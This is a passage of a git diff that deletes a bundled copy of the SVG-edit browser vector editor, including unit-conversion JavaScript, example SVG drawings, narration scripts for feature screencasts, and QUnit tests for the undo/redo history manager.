-//					unit = old_val.substr(-2);
-//				}
-//				val = val / typeMap_[unit];
-//			}
-//		
-//		val += unit;
-//		}
-	}
-	elem.setAttribute(attr, val);
-};
-
-var attrsToConvert = {
-	"line": ['x1', 'x2', 'y1', 'y2'],
-	"circle": ['cx', 'cy', 'r'],
-	"ellipse": ['cx', 'cy', 'rx', 'ry'],
-	"foreignObject": ['x', 'y', 'width', 'height'],
-	"rect": ['x', 'y', 'width', 'height'],
-	"image": ['x', 'y', 'width', 'height'],
-	"use": ['x', 'y', 'width', 'height'],
-	"text": ['x', 'y']
-};
-
-// Function: svgedit.units.convertAttrs
-// Converts all applicable attributes to the configured baseUnit
-//
-// Parameters:
-// element - a DOM element whose attributes should be converted
-svgedit.units.convertAttrs = function(element) {
-	var elName = element.tagName;
-	var unit = elementContainer_.getBaseUnit();
-	var attrs = attrsToConvert[elName];
-	if(!attrs) return;
-	var len = attrs.length
-	for(var i = 0; i < len; i++) {
-		var attr = attrs[i];
-		var cur = element.getAttribute(attr);
-		if(cur) {
-			if(!isNaN(cur)) {
-				element.setAttribute(attr, (cur / typeMap_[unit]) + unit);
-			} else {
-				// Convert existing?
-			}
-		}
-	}
-};
-
-// Function: svgedit.units.convertToNum
-// Converts given values to numbers. Attributes must be supplied in 
-// case a percentage is given
-//
-// Parameters:
-// attr - String with the name of the attribute associated with the value
-// val - String with the attribute value to convert
-svgedit.units.convertToNum = function(attr, val) {
-	// Return a number if that's what it already is
-	if(!isNaN(val)) return val-0;
-	
-	if(val.substr(-1) === '%') {
-		// Deal with percentage, depends on attribute
-		var num = val.substr(0, val.length-1)/100;
-		var width = elementContainer_.getWidth();
-		var height = elementContainer_.getHeight();
-		
-		if(w_attrs.indexOf(attr) >= 0) {
-			return num * width;
-		} else if(h_attrs.indexOf(attr) >= 0) {
-			return num * height;
-		} else {
-			return num * Math.sqrt((width*width) + (height*height))/Math.sqrt(2);
-		}
-	} else {
-		var unit = val.substr(-2);
-		var num = val.substr(0, val.length-2);
-		// Note that this multiplication turns the string into a number
-		return num * typeMap_[unit];
-	}
-};
-
-// Function: svgedit.units.isValidUnit
-// Check if an attribute's value is in a valid format
-//
-// Parameters: 
-// attr - String with the name of the attribute associated with the value
-// val - String with the attribute value to check
-svgedit.units.isValidUnit = function(attr, val) {
-	var valid = false;
-	if(unit_attrs.indexOf(attr) >= 0) {
-		// True if it's just a number
-		if(!isNaN(val)) {
-			valid = true;
-		} else {
-		// Not a number, check if it has a valid unit
-			val = val.toLowerCase();
-			$.each(typeMap_, function(unit) {
-				if(valid) return;
-				var re = new RegExp('^-?[\\d\\.]+' + unit + '$');
-				if(re.test(val)) valid = true;
-			});
-		}
-	} else if (attr == "id") {
-		// if we're trying to change the id, make sure it's not already present in the doc
-		// and the id value is valid.
-
-		var result = false;
-		// because getElem() can throw an exception in the case of an invalid id
-		// (according to http://www.w3.org/TR/xml-id/ IDs must be a NCName)
-		// we wrap it in an exception and only return true if the ID was valid and
-		// not already present
-		try {
-			var elem = elementContainer_.getElement(val);
-			result = (elem == null);
-		} catch(e) {}
-		return result;
-	} else {
-		valid = true;
-	}
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diff --git a/public/svg-edit/examples/arbelos.svg b/public/svg-edit/examples/arbelos.svg
deleted file mode 100644
index c9cc18a2..00000000
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+++ /dev/null
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diff --git a/public/svg-edit/examples/mickey.svg b/public/svg-edit/examples/mickey.svg
deleted file mode 100644
index 72bcde50..00000000
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-   <stop offset="1.0" stop-color="#ffff00" stop-opacity="1"/>
-  </linearGradient>
-  <linearGradient y2="1.0" x2="1.0" y1="0.0" x1="0.0" id="svg_7">
-   <stop stop-opacity="0.85" stop-color="#f9ac63" offset="0.0"/>
-   <stop stop-opacity="0.85" stop-color="#ffff00" offset="1.0"/>
-  </linearGradient>
- </defs>
- <ellipse transform="rotate(14, 144, 148)" stroke-opacity="1" ry="42" rx="27" fill-opacity="0" stroke-width="3" stroke="url(#svg_132)" fill="#ff0000" id="svg_131" cy="148" cx="144"/>
- <ellipse transform="rotate(-145, 249, 89)" stroke-opacity="1" fill-opacity="1" ry="41" rx="47" stroke-width="3" stroke="#000000" fill="#000000" id="svg_139" cy="89" cx="249"/>
-
- <ellipse transform="rotate(-30, 94, 87)" stroke-opacity="1" fill-opacity="1" ry="41" rx="47" stroke-width="3" stroke="#000000" fill="#000000" id="svg_138" cy="87" cx="94"/>
- <circle stroke-opacity="1" fill-opacity="0.25" stroke-width="2" stroke="#000000" fill="url(#svg_174)" id="svg_99" r="83.625" cy="180" cx="170"/>
- <ellipse stroke-width="5" fill="#ffffff" id="svg_119" cy="201" cx="219"/>
- <ellipse transform="rotate(14, 107, 186)" stroke-opacity="1" ry="20" rx="15" fill-opacity="0" stroke-width="3" stroke="url(#svg_132)" fill="#ff0000" id="svg_143" cy="186" cx="107"/>
- <ellipse transform="rotate(29, 239, 184)" stroke-opacity="1" ry="20" rx="15" fill-opacity="0" stroke-width="3" stroke="url(#svg_146)" fill="#ff0000" id="svg_144" cy="184" cx="239"/>
- <ellipse transform="rotate(350, 197, 149)" stroke-opacity="1" ry="41" rx="27" fill-opacity="0" stroke-width="3" stroke="url(#svg_130)" fill="#ff0000" id="svg_129" cy="149" cx="197"/>
- <ellipse transform="rotate(180, 173, 197)" stroke-opacity="1" fill-opacity="1" ry="43" rx="62" stroke-width="2" stroke="url(#svg_148)" fill="#ffffff" id="svg_147" cy="197" cx="173"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="29" rx="17" stroke-width="1" stroke="#000000" fill="#ffffff" id="svg_105" cy="156" cx="148"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="29" rx="15" stroke-width="1" stroke="#000000" fill="#ffffff" id="svg_106" cy="155" cx="192"/>
-
- <ellipse stroke-opacity="1" fill-opacity="1" ry="17" rx="8" stroke-width="5" stroke="#000000" fill="#000000" id="svg_121" cy="163" cx="191"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="18" rx="28" stroke-width="2" stroke="url(#svg_134)" fill="none" id="svg_142" cy="198" cx="171"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="12" rx="18" stroke-width="5" stroke="#000000" fill="#000000" id="svg_122" cy="201" cx="172"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="5" rx="11" stroke-width="5" stroke="none" fill="url(#svg_165)" id="svg_118" cy="197" cx="170"/>
- <ellipse transform="rotate(-20, 110, 196)" stroke-opacity="1" ry="1" rx="8" fill-opacity="0" stroke-width="2" stroke="url(#svg_116)" fill="#ff0000" id="svg_141" cy="196" cx="110"/>
- <ellipse transform="rotate(15, 235, 198)" stroke-opacity="1" ry="5" rx="8" fill-opacity="0" stroke-width="2" stroke="url(#svg_116)" fill="#ff0000" id="svg_140" cy="198" cx="235"/>
- <ellipse stroke-opacity="1" ry="41" rx="27" fill-opacity="0" stroke-width="3" stroke="url(#svg_170)" fill="#ffffff" id="svg_166" cy="149" cx="147"/>
- <ellipse transform="rotate(-30, 557, 76)" stroke-opacity="1" fill-opacity="1" ry="41" rx="47" stroke-width="3" stroke="#000000" fill="#000000" id="svg_176" cy="77" cx="558"/>
- <ellipse transform="rotate(-145, 706, 76)" stroke-opacity="1" fill-opacity="1" ry="41" rx="47" stroke-width="3" stroke="#000000" fill="#000000" id="svg_177" cy="79" cx="710"/>
-
- <circle stroke-opacity="1" fill-opacity="1" stroke-width="2" stroke="#000000" fill="#000000" id="svg_178" r="84.625" cy="175" cx="633"/>
- <ellipse transform="rotate(350, 663, 151)" stroke-opacity="1" ry="43" rx="29" fill-opacity="1" stroke-width="3" stroke="none" fill="#ffffff" id="svg_179" cy="152" cx="664"/>
- <ellipse transform="rotate(9, 697.5, 190.5)" stroke-opacity="1" ry="26" rx="16" fill-opacity="1" stroke-width="3" stroke="none" fill="#ffffff" id="svg_181" cy="191" cx="698"/>
- <ellipse transform="rotate(-1, 568, 188)" stroke-opacity="1" ry="25" rx="16" fill-opacity="1" stroke-width="3" stroke="none" fill="#ffffff" id="svg_182" cy="189" cx="569"/>
- <ellipse transform="rotate(184, 605, 149)" stroke-opacity="1" ry="44" rx="31" fill-opacity="1" stroke-width="3" stroke="none" fill="#ffffff" id="svg_180" cy="150" cx="606"/>
- <ellipse cx="614" cy="210" id="svg_186" fill="#ffffff" stroke="none" stroke-width="2" rx="60" ry="46" fill-opacity="1" stroke-opacity="1" transform="rotate(210, 613.5, 209.5) translate(557, 160) scale(1) translate(-557, -160)"/>
- <ellipse cx="652" cy="210" id="svg_187" fill="#ffffff" stroke="none" stroke-width="2" rx="61" ry="46" fill-opacity="1" stroke-opacity="1" transform="rotate(329, 651, 209) translate(594, 159) scale(1) translate(-594, -159)"/>
- <ellipse transform="rotate(180, 633, 225)" stroke-opacity="1" fill-opacity="1" ry="46" rx="50" stroke-width="2" stroke="url(#svg_148)" fill="#ffffff" id="svg_185" cy="225" cx="633"/>
- <ellipse transform="rotate(180, 634, 219)" stroke-opacity="1" fill-opacity="1" ry="47" rx="47" stroke-width="2" stroke="url(#svg_148)" fill="#000000" id="svg_184" cy="219" cx="634"/>
-
- <ellipse transform="rotate(180, 636, 195)" stroke-opacity="1" fill-opacity="1" ry="42" rx="62" stroke-width="2" stroke="url(#svg_148)" fill="#ffffff" id="svg_183" cy="195" cx="636"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="12" rx="26" stroke-width="5" stroke="none" fill="#aa0000" id="svg_151" cy="252" cx="634"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="7" rx="14" stroke-width="5" stroke="none" fill="url(#svg_153)" id="svg_154" cy="251" cx="641"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="7" rx="14" stroke-width="5" stroke="none" fill="url(#svg_188)" id="svg_152" cy="252" cx="627"/>
- <polyline stroke-opacity="1" stroke-linejoin="round" stroke-linecap="round" stroke-width="5" stroke="url(#svg_193)" id="svg_159" points="632,254 631,254 629,254 628,254 627,254 627,253 626,253 624,253 624,253 624,253 624,252 624,252 622,252 622,252 621,252 621,252 619,252 619,252 617,252 616,252 615,252 615,252 615,252 615,253 615,253 616,253 617,253 617,253 619,253 619,253 621,253 621,253 622,253 624,253 624,254 624,254 626,254 627,254 628,254 628,253 629,253" fill-opacity="1" transform="rotate(10, 624, 254)"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="18" rx="8" stroke-width="5" stroke="#000000" fill="#000000" id="svg_120" cy="167" cx="616" transform="rotate(-5, 615, 166)"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="18" rx="7" stroke-width="5" stroke="#000000" fill="#000000" id="svg_189" cy="166" cx="652" transform="rotate(8, 651, 165)"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="18" rx="28" stroke-width="2" stroke="url(#svg_134)" fill="#ffffff" id="svg_190" cy="201" cx="635"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="12" rx="18" stroke-width="5" stroke="#000000" fill="#000000" id="svg_191" cy="203" cx="636"/>
-
- <ellipse stroke-opacity="1" fill-opacity="1" ry="5" rx="11" stroke-width="5" stroke="none" fill="url(#svg_165)" id="svg_192" cy="197" cx="633"/>
- <path stroke-opacity="1" fill-opacity="1" d="M642,347 " id="svg_218" fill="none" stroke="#000000" stroke-width="5"/>
- <path stroke-opacity="1" fill-opacity="1" d="M715,385 " id="svg_223" fill="none" stroke="#000000" stroke-width="5"/>
- <ellipse stroke-opacity="1" fill-opacity="1" ry="17" rx="8" stroke-width="5" stroke="#000000" fill="#000000" id="svg_233" cy="165" cx="149"/>
- <ellipse transform="rotate(15, 698, 198)" stroke-opacity="1" ry="5" rx="8" fill-opacity="0" stroke-width="2" stroke="url(#svg_116)" fill="#ff0000" id="svg_234" cy="199" cx="699"/>
- <ellipse transform="rotate(-20, 573, 197)" stroke-opacity="1" ry="2" rx="8" fill-opacity="0" stroke-width="2" stroke="url(#svg_116)" fill="#ff0000" id="svg_235" cy="198" cx="574"/>
- <text font-weight="bold" stroke-opacity="1" fill-opacity="1" text-anchor="middle" font-family="sans-serif" font-size="64pt" stroke-width="0" stroke="#000000" fill="#000000" id="svg_4" y="394" x="185">SVG-edit</text>
- <text id="svg_5" font-weight="bold" stroke-opacity="1" fill-opacity="1" text-anchor="middle" font-family="sans-serif" font-size="64pt" stroke-width="3" stroke="#404040" fill="#ff6600" y="392" x="184">SVG-edit</text>
-
-</svg>
\ No newline at end of file
diff --git a/public/svg-edit/screencasts/svgedit-screencast-1.txt b/public/svg-edit/screencasts/svgedit-screencast-1.txt
deleted file mode 100644
index 316c474c..00000000
--- a/public/svg-edit/screencasts/svgedit-screencast-1.txt
+++ /dev/null
@@ -1,27 +0,0 @@
-Hello, my name is Jeff Schiller and I'll be giving you a brief introduction to SVG-edit.  In this video, I'll describe what SVG-edit is, what it can do and I'll demonstrate some of its features.
-
-SVG-edit is a new, open-source, lightweight vector graphics editor similar in nature to Adobe Illustrator or Inkscape.  But what's exciting about SVG-edit is that it runs directly in the browser and is powered only by open web technologies such as HTML, CSS, JavaScript and SVG.  SVG-edit runs in any modern browser including Firefox, Opera, Safari and Chrome.
-
-So here is SVG-edit.  What we're looking at is a small collection of tools, a color palette at the bottom and a white canvas on which you can draw your masterpiece.  We'll see that drawing simple shapes is as simple as clicking the tool you want, I'll choose a simple rectangle here, and then dragging and lifting on the canvas.
-
-We can draw many types of shapes: rectangles, circles [draw one large one for sun], ellipses [draw two small ones], lines [draw three for sun radiation], or even freehand drawing [draw a smile].
-
-If we want to move the elements around, we click on the Select Tool and then drag the element to the correct position.  We can click to select one shape or we can drag on the canvas to select multiple shapes.  We can use the resizing grips to change the size of the element to our hearts content.  [arrange sun, beams, eyes, rectangle floor, and text]
-
-If we want to change the interior color of a particular shape, we first select the shape using the Select Tool, and then either click on a palette box or we can click on the Fill Paint box and choose the color we want from the standard picker.  We can also set the opacity or alpha of the paint.
-
-Changing the border color of the shape can be done in a similar manner by using the color picker for the Stroke.  We can also shift-click on the palette to change the stroke color or to clear the Stroke color.  We can also change the thickness of the stroke or the dash-style of the stroke using controls near the bottom of the window.
-
-A simple Text tool is also included [set stroke to None, set fill to Red, then create a text element that says "Vector Graphics are powerful"]
-
-I'd like to talk a bit about the tool panel near the top of the window.  Apart from some standard buttons on the left, which I'll go over in a minute, the rest of the panel is dedicated to context-sensitive tools.  This means that you only see controls on this toolbar for the tool and element you have selected.  For instance, when I select a Text element, I see controls to change the text contents, font family, font size and whether the text should be bold or italic.  If I select a rectangle, I see controls to change the rectangle's position, size and whether the rectangle should have rounded corners.
-
-You may have noticed that some buttons were available in both cases.  These controls manipulate the selected element.  For instance, you can delete an element or move it to the top of the stack.
-
-The final thing I'd like to talk about is the controls on the left.  These controls are always present.  There are the standard Undo/Redo buttons.  And there are the standard New Document or Save Document buttons.  Clicking New will wipe out all existing work.  Clicking Save will open a new tab in the browser containing your document.  You can then save this document to your desktop, publish it to a website or whatever.
-
-One final thing to mention:  because SVG-edit is a web application, it's quite trivial to embed the editor in a web page using nothing more than an HTML iframe element.  Here we see an entry on my blog in which I've done this very thing.
-
-SVG-edit is still in the beginning stages of development, there are a lot of features missing, but I hope this video has given you a sense of SVG-edit's capabilities and its ease of use.
-
-Thanks for watching!
\ No newline at end of file
diff --git a/public/svg-edit/screencasts/svgedit-screencast-2.txt b/public/svg-edit/screencasts/svgedit-screencast-2.txt
deleted file mode 100644
index 251c4437..00000000
--- a/public/svg-edit/screencasts/svgedit-screencast-2.txt
+++ /dev/null
@@ -1,23 +0,0 @@
-Hi, this is Jeff Schiller and I'll be describing the new features in the latest release of SVG-edit, version 2.3.
-
-For those of you who didn't watch the first screencast, SVG-edit is an open source vector graphics editor that works in any modern browser that natively supports SVG.  This includes Firefox, Opera, Safari, and Chrome.
-
-The latest release of SVG-edit sports more than just a new logo, this release brings some powerful new features.  Features that you would expect of a first-class vector editor on your desktop.  So let's launch the 2.3 Demo [click]
-
-Probably the most significant new capability that SVG-edit brings is the ability to actually save and reload your work.  SVG-edit now comes with a source editor [click on editor], which means you can save your SVG files to your hard disk and then copy and paste them back into SVG-edit and continue your work.  You can also fine-tune the source of your drawing if there's something you want to do that isn't yet supported by the editor [add Jeff Schiller to comment and delete -->, show dialog].
-
-Another important addition in 2.3 is the ability to construct arbitrary polygons or connected line segments.  Once the shape is complete, click on the first point to close the shape or any other point if you want to leave it open.  Polys can be dragged and resized just like any other shape.  Click the shape again to edit the position of the points. [draw an arrow and position the points]
-
-Rotation is now supported on shapes.  There are a variety of ways to do this:  by drag-rotating the handle, by holding shift and pressing the left/right arrow keys or by adjusting the spinner control at the top. [rotate the arrow]
-
-The final major feature in SVG-edit 2.3 is the ability to pick linear gradients as fill/stroke paints instead of just solid colors.  The color picker now has two tabs, one for solid colors and one for gradients.  You choose the position of the begin and end stops and the color/opacity of each stop. [set fill on the black ellipse to a vert gradient from white to transparent]
-
-There are also several minor features worthy of note:
-
-Elements can now be copy-pasted using the Clone Tool.  Select any number of elements and click Clone (or press C) to get the copied elements.
-
-If you want fine-grained element navigation, you can use the keyboard shortcuts Shift-O and Shift-P to cycle forward or backward through elements on the canvas.
-
-Compared to desktop vector graphics editors, SVG-edit still has a long ways to go, but already pretty sophisticated artwork can be achieved [open mickey.svg].  It's also important to remember that SVG-edit runs directly in the browser, with no plugins required.  This means zero install hassle for users.  You don't even need a bleeding edge browser, any SVG-capable browser released for the last few years will just work.
-
-Thanks for watching.
diff --git a/public/svg-edit/screencasts/svgedit-screencast-3.txt b/public/svg-edit/screencasts/svgedit-screencast-3.txt
deleted file mode 100644
index 88c98c1e..00000000
--- a/public/svg-edit/screencasts/svgedit-screencast-3.txt
+++ /dev/null
@@ -1,50 +0,0 @@
-SVG-edit 2.4
-------------
-
-Hi, this is Jeff Schiller and this is part one of two videos in which I'll be describing the new features in the latest release of SVG-edit 2.4.
-
-First, some background: SVG-edit is a web-based vector graphics editor that runs in any modern browser that supports SVG.  This includes Firefox, Opera, Safari and Chrome.  SVG-edit also runs in Internet Explorer with the Google Chrome Frame plugin installed.
-
-So Version 2.4, code-named Arbelos, is a significant improvement over the previous release:  SVG-edit has now evolved from a proof-of-concept demo into a full-featured application.
-
-In this video I'll talk about the new path tool and the concept of zooming, I'll also cover some of the improvements to the user interface.
-
-First up is the new path tool.  In SVG-edit 2.3, the user had the ability to create a connected series of line segments and polygons [Draw a polyline].  In 2.4, the Poly Tool has evolved into a general purpose Path tool that draw straight lines or curves.  To change a line segment into a curve, double-click on the starting point of that segment.  Users can also manipulate the look of the curve by moving control points.  Curves can be configured to be symmetrical by a push-button in the context panel.  As you can see, when I change the position of a control point, the opposite control point also moves.  The user also has the ability to add/delete segments to an existing path element.  One final note on paths: most graphical elements (rectangles, ellipses, etc) can now be converted into paths for finer editing.  This conversion is a one-way process, though it can be undone.
-
-So next I'm going to talk about zooming.  In 2.4, it is now possible to zoom in and out of a graphic.  Zooming can be achieved in a variety of ways:  Using the zoom control at the bottom left, you can type in a zoom percentage, use the spinner or pick a zoom level from the popup.  Also included in the popup are things like "Fit to selection", which can be quite handy.  Zooming is also possible via the Zoom tool on the left.  Select it, then drag the area you wish to zoom in on.  A final option is to just use the mousewheel to zoom the canvas quickly around the mouse pointer.
-
-From a usability perspective, we've created a Document Properties dialog, available by clicking on the button in the top panel.  This dialog box serves as housing for image and editor properties that are seldom accessed, but still important.
-
-In terms of image properties:
-
-	* Give the image a title
-	* Change the canvas size, or pick one of several options
-	(* You can choose to have all local raster images referenced via URL or embedded inline as a data: URL.  This will make your SVG image larger, but self-contained and thus, more portable.)
-
-In terms of editor properties:
-
-	* SVG-edit's entire user interface (tooltips, labels) is fully localizable, and SVG-edit has now been translated into 8 languages.  If you would like to contribute translation for a language, please contact us on the mailing list.
-	* Another nice feature is the ability to set the icon size of the editor, which can help with adapting SVG-edit to different environments (mobile devices, smaller netbooks, widescreen displays).
-	(* One final editor preference that can be changed is the canvas' colour.  For most situations, a white canvas might be fine for creating your graphic, but if you are trying to draw an image with a lot of white in it, you might find this option useful.)
-
-So that's it for this video.  In the next video I'll talk about grouping, layers and a few other features of SVG-edit 2.4.
-
-
---------------------
-
-Hi, this is Jeff Schiller and this is the second of two videos describing the new features in the latest release of SVG-edit 2.4, code-named Arbelos.
-
-If you missed the first video, SVG-edit is a web-based vector graphics editor that runs in any modern browser that supports SVG.  This includes Firefox, Opera, Safari and Chrome.  SVG-edit also runs in Internet Explorer with the Google Chrome Frame plugin installed.
-
-In the first video I gave an overview of the Path tool, Zooming and the new Document Properties dialog.  In this video I'll talk about grouping, layers and a couple other features that round out the release.
-
-So first is grouping.  In SVG-edit 2.3 one could draw graphical primitives such as ellipses, rectangles, lines and polygons - and those elements could be moved, resized, and rotated.  In 2.4 we've added the ability to arrange any number of elements together into a group.  Groups behave just like other element types: they can be moved, resized and rotated - and they can be added to larger groups to create even more complex objects.  You can copy/delete groups just like any other element.  Ungrouping a group allows you to manipulate the elements individually again.
-
-The next thing I'll talk about is Layers.  The Layers panel lies tucked to the side but can be clicked or dragged open at any time.  Layers work very much like they do in other drawing programs: you can create new layers, rename them, change the order and delete them.  Elements not on the current layer are not selectable, so it's an excellent way to separate elements in your drawing so that you can work on them without interfering with other parts of the drawing.  If you want to move elements between layers, select them, then select the layer you want to move them to.
-
-There are a couple of other minor features that round out SVG-edit 2.4:
-	* It is now possible to embed raster images (via URL) into the canvas using the Image tool on the left
-	* It is also possible to keep the ratio of any element fixed when resizing by holding down the shift key.
-	* Finally, if the canvas is starting to become obscured, you can turn on 'wireframe mode' which shows the outline of all shapes in your drawing, but none of the fill or stroke properties.
-
-There are several minor features that I didn't have time to talk about, but feel free to browse to the project page and try out the demo.  Thanks for your time.
\ No newline at end of file
diff --git a/public/svg-edit/test/all_tests.html b/public/svg-edit/test/all_tests.html
deleted file mode 100644
index e929ccda..00000000
--- a/public/svg-edit/test/all_tests.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <title>All SVG-edit Tests</title>
-</head>
-<body>
-  <h1>All SVG-edit Tests</h1>
-  <p>This file frames all SVG-edit test pages.  This should only include tests known to work.  These tests are known to pass 100% in the following:  Firefox 3.6, Chrome 7, IE9 Preview 6 (1.9.8006.6000), Opera 10.63.  If a test is broken in this page, it is possible that <em>YOU</em> broke it.  Please do not submit code that breaks any of these tests.</p>
-  <iframe src='svgtransformlist_test.html' width='100%' height='300'></iframe>
-  <iframe src='math_test.html' width='100%' height='300'></iframe>
-  <iframe src='svgutils_test.html' width='100%' height='300'></iframe>
-  <iframe src='history_test.html' width='100%' height='300'></iframe>
-  <iframe src='select_test.html' width='100%' height='300'></iframe>
-</body>
-<script>
-window.setTimeout(function() {
-  var iframes = document.getElementsByTagName('iframe');
-  for (var i = 0, len = iframes.length; i < len; ++i) {
-    var f = iframes[i];
-    f.style.height = (f.contentDocument.body.scrollHeight + 20) + 'px';
-  }
-}, 1200);
-</script>
-</html>
\ No newline at end of file
diff --git a/public/svg-edit/test/history_test.html b/public/svg-edit/test/history_test.html
deleted file mode 100644
index 3733fc9c..00000000
--- a/public/svg-edit/test/history_test.html
+++ /dev/null
@@ -1,575 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-  <link rel='stylesheet' href='qunit/qunit.css' type='text/css'/>
-  <script src='../editor/jquery.js'></script>
-  <script type='text/javascript' src='../editor/history.js'></script>
-  <script type='text/javascript' src='qunit/qunit.js'></script>  
-  <script type='text/javascript'>
-  $(function() {
-	// TODO(codedread): Write tests for handling history events.
-
-	// Mocked out methods.
-	svgedit.transformlist = {};
-	svgedit.transformlist.removeElementFromListMap = function(elem) {};
-	svgedit.utilities = {};
-	svgedit.utilities.getHref = function(elem) { return '#foo'; };
-	svgedit.utilities.setHref = function(elem, val) {};
-	svgedit.utilities.getRotationAngle = function(elem) { return 0; };
-
-  	// log function
-  	QUnit.log = function(result, message) {
-		if (window.console && window.console.log) {
-			window.console.log(result +' :: '+ message);
-		}
-	};
-
-	var svgns = 'http://www.w3.org/2000/svg';
-	var svg = document.createElementNS(svgns, 'svg');
-	var undoMgr = null;
-	var divparent = document.getElementById('divparent');
-	var div1 = document.getElementById('div1');
-	var div2 = document.getElementById('div2');
-	var div3 = document.getElementById('div3');
-	var div4 = document.getElementById('div4');
-	var div5 = document.getElementById('div5');
-
-	module('svgedit.history');
-
-	var MockCommand = function(opt_text) { this.text_ = opt_text; };
-	MockCommand.prototype.apply = function() {};
-	MockCommand.prototype.unapply = function() {};
-	MockCommand.prototype.getText = function() { return this.text_; };
-	MockCommand.prototype.elements = function() { return []; };
-
-	var MockHistoryEventHandler = function() {};
-	MockHistoryEventHandler.prototype.handleHistoryEvent = function(eventType, command) {};
-
-	function setUp() {
-		undoMgr = new svgedit.history.UndoManager();
-	}
-	function tearDown() {
-		undoMgr = null;
-	}
-
-	test('Test svgedit.history package', function() {
-		expect(13);
-		
-		ok(svgedit.history);
-		ok(svgedit.history.MoveElementCommand);
-		ok(svgedit.history.InsertElementCommand);
-		ok(svgedit.history.ChangeElementCommand);
-		ok(svgedit.history.RemoveElementCommand);
-		ok(svgedit.history.BatchCommand);
-		ok(svgedit.history.UndoManager);
-		equals(typeof svgedit.history.MoveElementCommand, typeof function(){});
-		equals(typeof svgedit.history.InsertElementCommand, typeof function(){});
-		equals(typeof svgedit.history.ChangeElementCommand, typeof function(){});
-		equals(typeof svgedit.history.RemoveElementCommand, typeof function(){});
-		equals(typeof svgedit.history.BatchCommand, typeof function(){});
-		equals(typeof svgedit.history.UndoManager, typeof function(){});
-	});
-	
-	test('Test UndoManager methods', function() {
-		expect(14);
-		setUp();
-		
-		ok(undoMgr);
-		ok(undoMgr.addCommandToHistory);
-		ok(undoMgr.getUndoStackSize);
-		ok(undoMgr.getRedoStackSize);
-		ok(undoMgr.resetUndoStack);
-		ok(undoMgr.getNextUndoCommandText);
-		ok(undoMgr.getNextRedoCommandText);
-
-		equals(typeof undoMgr, typeof {});
-		equals(typeof undoMgr.addCommandToHistory, typeof function(){});
-		equals(typeof undoMgr.getUndoStackSize, typeof function(){});
-		equals(typeof undoMgr.getRedoStackSize, typeof function(){});
-		equals(typeof undoMgr.resetUndoStack, typeof function(){});
-		equals(typeof undoMgr.getNextUndoCommandText, typeof function(){});
-		equals(typeof undoMgr.getNextRedoCommandText, typeof function(){});
-			
-		tearDown();
-	});
-	
-	test('Test UndoManager.addCommandToHistory() function', function() {
-		expect(3);
-		
-		setUp();
-
-		equals(undoMgr.getUndoStackSize(), 0);
-		undoMgr.addCommandToHistory(new MockCommand());
-		equals(undoMgr.getUndoStackSize(), 1);
-		undoMgr.addCommandToHistory(new MockCommand());
-		equals(undoMgr.getUndoStackSize(), 2);
-
-		tearDown();
-	});
-	
-	test('Test UndoManager.getUndoStackSize() and getRedoStackSize() functions', function() {
-		expect(18);
-		
-		setUp();
-
-		undoMgr.addCommandToHistory(new MockCommand());
-		undoMgr.addCommandToHistory(new MockCommand());
-		undoMgr.addCommandToHistory(new MockCommand());
-
-		equals(undoMgr.getUndoStackSize(), 3);
-		equals(undoMgr.getRedoStackSize(), 0);
-		
-		undoMgr.undo();
-		equals(undoMgr.getUndoStackSize(), 2);
-		equals(undoMgr.getRedoStackSize(), 1);
-
-		undoMgr.undo();
-		equals(undoMgr.getUndoStackSize(), 1);
-		equals(undoMgr.getRedoStackSize(), 2);
-
-		undoMgr.undo();
-		equals(undoMgr.getUndoStackSize(), 0);
-		equals(undoMgr.getRedoStackSize(), 3);
-
-		undoMgr.undo();
-		equals(undoMgr.getUndoStackSize(), 0);
-		equals(undoMgr.getRedoStackSize(), 3);
-
-		undoMgr.redo();
-		equals(undoMgr.getUndoStackSize(), 1);
-		equals(undoMgr.getRedoStackSize(), 2);
-
-		undoMgr.redo();
-		equals(undoMgr.getUndoStackSize(), 2);
-		equals(undoMgr.getRedoStackSize(), 1);
-
-		undoMgr.redo();
-		equals(undoMgr.getUndoStackSize(), 3);
-		equals(undoMgr.getRedoStackSize(), 0);
-
-		undoMgr.redo();
-		equals(undoMgr.getUndoStackSize(), 3);
-		equals(undoMgr.getRedoStackSize(), 0);
-		
-		tearDown();
-	});
-	
-	test('Test UndoManager.resetUndoStackSize() function', function() {
-		expect(4);
-		
-		setUp();
-
-		undoMgr.addCommandToHistory(new MockCommand());
-		undoMgr.addCommandToHistory(new MockCommand());
-		undoMgr.addCommandToHistory(new MockCommand());
-		undoMgr.undo();
-		
-		equals(undoMgr.getUndoStackSize(), 2);
-		equals(undoMgr.getRedoStackSize(), 1);
-		
-		undoMgr.resetUndoStack();
-
-		equals(undoMgr.getUndoStackSize(), 0);
-		equals(undoMgr.getRedoStackSize(), 0);
-		
-		tearDown();
-	});
-
-	test('Test UndoManager.getNextUndoCommandText() function', function() {
-		expect(9);
-
-		setUp();
-
-		equals(undoMgr.getNextUndoCommandText(), '');
-
-		undoMgr.addCommandToHistory(new MockCommand('First'));
-		undoMgr.addCommandToHistory(new MockCommand('Second'));
-		undoMgr.addCommandToHistory(new MockCommand('Third'));
-
-		equals(undoMgr.getNextUndoCommandText(), 'Third');
-
-		undoMgr.undo();
-		equals(undoMgr.getNextUndoCommandText(), 'Second');
-
-		undoMgr.undo();
-		equals(undoMgr.getNextUndoCommandText(), 'First');
-
-		undoMgr.undo();
-		equals(undoMgr.getNextUndoCommandText(), '');
-
-		undoMgr.redo();
-		equals(undoMgr.getNextUndoCommandText(), 'First');
-
-		undoMgr.redo();
-		equals(undoMgr.getNextUndoCommandText(), 'Second');
-
-		undoMgr.redo();
-		equals(undoMgr.getNextUndoCommandText(), 'Third');
-
-		undoMgr.redo();
-		equals(undoMgr.getNextUndoCommandText(), 'Third');
-
-		tearDown();
-	});
-
